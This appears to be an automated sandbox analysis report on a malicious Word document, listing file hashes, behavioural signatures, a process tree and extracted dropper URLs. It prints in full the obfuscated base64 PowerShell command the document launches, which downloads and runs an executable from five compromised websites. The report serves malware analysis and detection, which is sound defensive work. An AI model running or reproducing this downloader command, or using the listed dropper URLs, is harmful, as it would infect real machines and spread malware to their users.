Analysis

  • max time kernel
    133s
  • max time network
    139s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 08:38

General

  • Target

    0a8322475bb0bd268db25a991967d264b6cc5363c220e1615fc0ffed212b385b.doc

  • Size

    179KB

  • MD5

    e283d21c33f06add1ead67f105f5e82c

  • SHA1

    e0bf01120fa3f8c51fbd18fec43ab87db7abd300

  • SHA256

    0a8322475bb0bd268db25a991967d264b6cc5363c220e1615fc0ffed212b385b

  • SHA512

    d8c7177391837ca74b65df9a741a510f22189c61ee59b3141b98f231cdfb3e4763d24d6225546919f2124377fcf2b9211bee2955fd354188a6001ee3c33ca223

  • SSDEEP

    3072:T/2y/GdynktGDWLS0HZWD5w8K7Nk96D7IBU/ZB0zstySfNllXeL:T/2k43tGiL3HJk96D7bb0z0rllXo

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.yadegarebastan.com/wp-content/mhear/

exe.dropper

http://bikerzonebd.com/wp-admin/89gw/

exe.dropper

http://shptoys.com/_old/bvGej/

exe.dropper

http://www.vestalicom.com/facturation/qgm0t/

exe.dropper

http://www.aliounendiaye.com/wp-content/f3hs6j/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0a8322475bb0bd268db25a991967d264b6cc5363c220e1615fc0ffed212b385b.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3108
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:712
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABVAGwAegBiAHIAegB1AHQAaABjAGQAcQB6AD0AJwBGAGYAcgBlAHAAZwBxAGkAJwA7ACQAUABrAHoAbgBlAGQAdQB0AHIAIAA9ACAAJwAxADcANwAnADsAJABSAHkAdwB6AGMAdABpAGwAZgB6AGoAbgBlAD0AJwBSAGIAZABtAHQAYQBnAGMAeQAnADsAJABQAGgAYQBrAGkAcAB2AHQAYwBrAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABQAGsAegBuAGUAZAB1AHQAcgArACcALgBlAHgAZQAnADsAJABOAHIAcABkAGMAdgBiAHIAPQAnAFcAaAB6AGoAaQBuAGEAYwB2AHMAbgBrAGgAJwA7ACQAUQBxAHAAZwBwAHoAbgB1AGEAdABuAHAAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAG4ARQBUAC4AdwBFAEIAQwBMAGkARQBuAHQAOwAkAFMAYwB5AHAAZwBnAGcAbQBuAHYAbQB4AHMAPQAnAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB5AGEAZABlAGcAYQByAGUAYgBhAHMAdABhAG4ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBtAGgAZQBhAHIALwAqAGgAdAB0AHAAOgAvAC8AYgBpAGsAZQByAHoAbwBuAGUAYgBkAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwA4ADkAZwB3AC8AKgBoAHQAdABwADoALwAvAHMAaABwAHQAbwB5AHMALgBjAG8AbQAvAF8AbwBsAGQALwBiAHYARwBlAGoALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgB2AGUAcwB0AGEAbABpAGMAbwBtAC4AYwBvAG0ALwBmAGEAYwB0AHUAcgBhAHQAaQBvAG4ALwBxAGcAbQAwAHQALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBhAGwAaQBvAHUAbgBlAG4AZABpAGEAeQBlAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AZgAzAGgAcwA2AGoALwAnAC4AIgBTAFAAYABMAEkAVAAiACgAJwAqACcAKQA7ACQARgBzAGgAeQBrAHYAeQBsAGEAZwByAD0AJwBXAG8AbQBtAGwAbAB1AHQAJwA7AGYAbwByAGUAYQBjAGgAKAAkAE8AdABsAHkAZQBjAHoAdQAgAGkAbgAgACQAUwBjAHkAcABnAGcAZwBtAG4AdgBtAHgAcwApAHsAdAByAHkAewAkAFEAcQBwAGcAcAB6AG4AdQBhAHQAbgBwAC4AIgBEAGAATwB3AG4AYABMAGAAbwBBAGQARgBJAEwAZQAiACgAJABPAHQAbAB5AGUAYwB6AHUALAAgACQAUABoAGEAawBpAHAAdgB0AGMAawApADsAJABMAG0AZgBhAGMAdwBvAGQAPQAnAE8AeABjAHQAdAB4AGEAeQB3AHkAZAByAHMAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABQAGgAYQBrAGkAcAB2AHQAYwBrACkALgAiAGwARQBOAGAAZwBUAEgAIgAgAC0AZwBlACAAMwA4ADcAMgA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAFMAYABUAGEAcgB0ACIAKAAkAFAAaABhAGsAaQBwAHYAdABjAGsAKQA7ACQARgBhAHkAdgB2AHYAYgBwAHcAPQAnAFYAdgBwAG0AYwBnAHcAbwB6ACcAOwBiAHIAZQBhAGsAOwAkAFMAbwBsAHYAeABlAHoAdAB1AGgAdQB1AD0AJwBGAG8AZQBzAHYAbgB4AGgAcwBlAGQAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQBrAHYAagBnAHcAbQBoAGoAawA9ACcAVwBwAGMAcgB5AGIAYQB5AHkAeABzAHIAdwAnAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3160

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\4EC486F9.wmf

      Filesize

      444B

      MD5

      6b51df026d34947e9c900d5889d4cab3

      SHA1

      5a3c8145fd7a9bc83d09689445266e4c8217933a

      SHA256

      2a41fc16040c33ea832568bbe3e6bdf59fcf9a063b6123e0e7003d43d06443a5

      SHA512

      4a91c9e16e2c4d11a3fc7edd403e4ab6b1e42bf61ee0734150b6f0b22b0e7fe161061c7fd2933492843a99545c1035c9d8a4baab90664c528a4a3fa79a499d43

    • C:\Users\Admin\AppData\Local\Temp\TCDC17F.tmp\sist02.xsl

      Filesize

      245KB

      MD5

      f883b260a8d67082ea895c14bf56dd56

      SHA1

      7954565c1f243d46ad3b1e2f1baf3281451fc14b

      SHA256

      ef4835db41a485b56c2ef0ff7094bc2350460573a686182bc45fd6613480e353

      SHA512

      d95924a499f32d9b4d9a7d298502181f9e9048c21dbe0496fa3c3279b263d6f7d594b859111a99b1a53bd248ee69b867d7b1768c42e1e40934e0b990f0ce051e

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ldt4pz0h.0uc.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/3108-13-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-15-0x00007FFD0AEA0000-0x00007FFD0AEB0000-memory.dmp

      Filesize

      64KB

    • memory/3108-6-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-7-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

      Filesize

      64KB

    • memory/3108-5-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

      Filesize

      64KB

    • memory/3108-8-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-9-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-10-0x00007FFD0AEA0000-0x00007FFD0AEB0000-memory.dmp

      Filesize

      64KB

    • memory/3108-11-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-1-0x00007FFD4D60D000-0x00007FFD4D60E000-memory.dmp

      Filesize

      4KB

    • memory/3108-16-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-4-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-17-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-18-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-14-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-12-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-3-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

      Filesize

      64KB

    • memory/3108-2-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

      Filesize

      64KB

    • memory/3108-0-0x00007FFD0D5F0000-0x00007FFD0D600000-memory.dmp

      Filesize

      64KB

    • memory/3108-70-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-72-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3108-71-0x00007FFD4D60D000-0x00007FFD4D60E000-memory.dmp

      Filesize

      4KB

    • memory/3108-73-0x00007FFD4D570000-0x00007FFD4D765000-memory.dmp

      Filesize

      2.0MB

    • memory/3160-51-0x00000187883A0000-0x00000187883C2000-memory.dmp

      Filesize

      136KB